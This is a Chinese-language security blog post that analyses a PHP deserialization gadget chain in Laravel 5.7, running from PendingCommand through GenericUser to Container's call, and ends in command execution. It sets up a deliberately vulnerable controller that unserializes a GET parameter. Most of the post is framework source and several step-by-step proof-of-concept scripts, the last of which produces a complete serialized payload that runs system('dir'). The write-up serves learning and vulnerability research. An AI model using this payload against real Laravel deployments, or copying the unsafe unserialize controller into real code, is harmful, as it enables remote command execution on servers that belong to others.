加载中...
laravel5.7反序列化
发表于:2022-04-30 | 分类: web
字数统计: 3.2k | 阅读时长: 16分钟 | 阅读量:

前期准备&参考资料

composer相关:

http://blog.unvs.cn/archives/phpstudy-composer-setup-use.html
https://www.runoob.com/w3cnote/composer-install-and-usage.html

反序列化参考

https://blog.csdn.net/rfrder/article/details/113826483
https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
https://blog.csdn.net/meteox/article/details/121751311

github拖源码:laravel5.7

官方api文档:https://laravel.com/api/5.8/

记得安装composer!!!(可以使用phpstudy集成的,composer install会遇到报错,需要修改php.ini文件,可以参考上面的链接

composer install其实还是要下载挺多东西的。

添加反序列化路由

注意访问index.php的路径应该为http://127.0.0.1/laravel5.7/public/index.php

注意吧根目录下面的.env.example改为.env(太艹了

原来还要生成一个key,根目录下执行,根据自己composer install的php版本执行可能比较合适D:\phpstudty8.1\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe artisan key:generate(这个更艹了,我宣布laravel的前期准备真的sb

先在routes/web.php添加一条路由解析记录Route::get('/unser', 'unserialize@unser');

然后在app/Http/Controllers下面添加unserialize.php,写上源代码:

<?php
namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function unser(){
        if(isset($_GET['unser'])){
            unserialize($_GET['unser']);
        }else{
            highlight_file(__FILE__);
        }
        return "unser";
}
}
?>

序列化的payload编写就自行随便建立一个Serialize.php编写即可。

反序列化链子分析

对比5.6和5.7版本,可以知道多出了个PendingCommand.php,在这个目录下:D:\phpstudty8.1\phpstudy_pro\WWW\laravel5.7\vendor\laravel\framework\src\Illuminate\Foundation\Testing

查阅官方api文档可知,这个PendingCommand可以进行命令执行,这不是送上来的洞吗,继续翻看可知__destruct方法会调用run方法(现在看到 destruct方法就激动hhh),run方法明显就是来进行commmand execute,所以思路就是构造pop链来触发PendingCommand了。run方法如下:

public function run()
   {
       $this->hasExecuted = true;

       $this->mockConsoleOutput();

       try {
           $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
       } catch (NoMatchingExpectationException $e) {
           if ($e->getMethodName() === 'askQuestion') {
               $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
           }

           throw $e;
       }

       if ($this->expectedExitCode !== null) {
           $this->test->assertEquals(
               $this->expectedExitCode, $exitCode,
               "Expected status code {$this->expectedExitCode} but received {$exitCode}."
           );
       }

       return $exitCode;
   }

最主要的利用点在$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);这里,所以要想办法走到这一句话。

先写一个POC验证一下:

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command='system';
            $this->parameters[]='calc';
        }

    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

发现报错了,this->test没有expectedOutput这个属性

看来得正常执行$this->mockConsoleOutput();函数才行,下面开始尝试。

大师傅们经过寻找,选择了Illuminate\Auth\GenericUser类,有一个get方法可以调用:

调整完后,可以绕过上面那个错误了,POC如下:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        public function __construct(){
            $this->command='system';
            $this->parameters[]='calc';
            $this->test=new GenericUser();
        }

    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct()
        {
            $this->attributes['expectedOutput']=['w1nd','w1nd'];
            $this->attributes['expectedQuestions']=['w1nd','w1nd'];
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

但是遇到了新的错误,Call to a member function bind() on null

原因大概是this->app为空,所以写一个进去先:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command='system';
            $this->parameters[]='calc';
            $this->test=new GenericUser();
            $this->app=new Application();
        }

    }
}
namespace Illuminate\Foundation{
    class Application
    {
        public function __construct(){

        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct()
        {
            $this->attributes['expectedOutput']=['w1nd','w1nd'];
            $this->attributes['expectedQuestions']=['w1nd','w1nd'];
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

序列化后,传入unser,又报错了:

Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel

class Application extends Container implements ApplicationContract, HttpKernelInterface这里可以看出Applocation其实是Container的子类,所以会继承Container的所有函数。

可以发现进入了Container.php,一路跟踪下去发现最后会返回一个object,object会去调用call函数,搜一下container的call函数,跟踪过程如下:

先是进入offsetGet:

/**
     * Get the value at a given offset.
     *
     * @param  string  $key
     * @return mixed
     */
    public function offsetGet($key)
    {
        return $this->make($key);
    }

然后进入make:

/**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    public function make($abstract, array $parameters = [])
    {
        return $this->resolve($abstract, $parameters);
    }

之后来到resolve:

/**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;
    }
//这里可以看到最后是返回了一个object的

Container的call函数:

/**
     * Call the given Closure / class@method and inject its dependencies.
     *
     * @param  callable|string  $callback
     * @param  array  $parameters
     * @param  string|null  $defaultMethod
     * @return mixed
     */
    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

WisdomTree大师傅的想法:

通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract]['concrete']

$bindingsvendor/laravel/framework/src/Illuminate/Container/Container.php文件中Container类中的属性。因此我们只要寻找一个继承自Container的类,即可通过反序列化控制 $this->bindings属性。而Illuminate\Foundation\Application恰好继承自Container类,这就是我选择Illuminate\Foundation\Application对象放入$this->app的原因。由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Foundation\Application$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application类。

从resolve那里开始,有这个$concrete = $this->getConcrete($abstract);,来看看getConcrete:

/**
     * Get the concrete type for a given abstract.
     *
     * @param  string  $abstract
     * @return mixed   $concrete
     */
    protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }

        // If we don't have a registered resolver or concrete for the type, we'll just
        // assume each type is a concrete name and will attempt to resolve it as is
        // since the container should be able to resolve concretes automatically.
        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

分析可知第一个if进不去,来到第二个if,这个bindings是container的属性,所以可控,this是我们控制的application对象,所以这个getConcrete返回值我们也是可控的。

写个POC验证一下,不试不知道,一试下一跳,直接打穿了哈哈哈哈:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command='system';
            $this->parameters[]='dir';
            $this->test=new GenericUser();
            $this->app=new Application();
        }

    }
}
namespace Illuminate\Foundation{
    class Application
    {
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'));
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct()
        {
            $this->attributes['expectedOutput']=['w1nd','w1nd'];
            $this->attributes['expectedQuestions']=['w1nd','w1nd'];
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

分析到上面其实就已经能够命令执行了,因为后面的语句大概都没什么影响,if应该都进不去啥的。但还是继续分析一下,有始有终。

返回concrete的值后,来到了下面的语句:

if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }
//无法进行isBuildable,会再次make,然后resolve,然后getConcrete,因为this->bindings['Illuminate\Foundation\Application']不存在所以直接返回了['Illuminate\Foundation\Application'],然后满足isBuildable,进入build函数

build函数如下,由注释和$reflector = new ReflectionClass($concrete);可以看出这个函数反射实例化了一个对象,所以最后返回了一个Illuminate\Foundation\Application对象:

/**
     * Instantiate a concrete instance of the given type.
     *
     * @param  string  $concrete
     * @return mixed
     *
     * @throws \Illuminate\Contracts\Container\BindingResolutionException
     */
    public function build($concrete)
    {
        // If the concrete type is actually a Closure, we will just execute it and
        // hand back the results of the functions, which allows functions to be
        // used as resolvers for more fine-tuned resolution of these objects.
        if ($concrete instanceof Closure) {
            return $concrete($this, $this->getLastParameterOverride());
        }

        $reflector = new ReflectionClass($concrete);

        // If the type is not instantiable, the developer is attempting to resolve
        // an abstract type such as an Interface or Abstract Class and there is
        // no binding registered for the abstractions so we need to bail out.
        if (! $reflector->isInstantiable()) {
            return $this->notInstantiable($concrete);
        }

        $this->buildStack[] = $concrete;

        $constructor = $reflector->getConstructor();

        // If there are no constructors, that means there are no dependencies then
        // we can just resolve the instances of the objects right away, without
        // resolving any other types or dependencies out of these containers.
        if (is_null($constructor)) {
            array_pop($this->buildStack);

            return new $concrete;
        }

        $dependencies = $constructor->getParameters();

        // Once we have all the constructor's parameters we can create each of the
        // dependency instances and then use the reflection instances to make a
        // new instance of this class, injecting the created dependencies in.
        $instances = $this->resolveDependencies(
            $dependencies
        );

        array_pop($this->buildStack);

        return $reflector->newInstanceArgs($instances);
    }

返回来之后,就Application会调用call函数,这个函数是继承来自Container的

public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

来到BoundMethod::call,这里有一个call_user_func_array经典的调用函数进行命令执行,这个应该就是最后的地方了。

public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }

        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }
//打断点知道第一个if进不去,然后直接进行第二个return,注意到有一个call_user_func_array

跟入到getMethodDependencies:

protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];

        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }

        return array_merge($dependencies, $parameters);
    }
//这里array_merge进行了一个数组的合并,没有什么影响。

大概到这里整个链子就分析完毕了,相当于最后执行了一个call_user_func_array('system',array(0=>'dir));

最终serialize.php代码:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command='system';
            $this->parameters[]='dir';
            $this->test=new GenericUser();
            $this->app=new Application();
        }

    }
}
namespace Illuminate\Foundation{
    class Application
    {
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'));
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct()
        {
            $this->attributes['expectedOutput']=['w1nd','w1nd'];
            $this->attributes['expectedQuestions']=['w1nd','w1nd'];
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

总结

本次还是学到了点东西的,关于laravel框架也基本上有一定的了解了,跟着大师傅的博客慢慢分析了5.7的一个关于PendingCommand的反序列化漏洞点,学习到了。继续加油吧!

上一篇:
Struts2漏洞
下一篇:
花式构造恶意so文件
本文目录
本文目录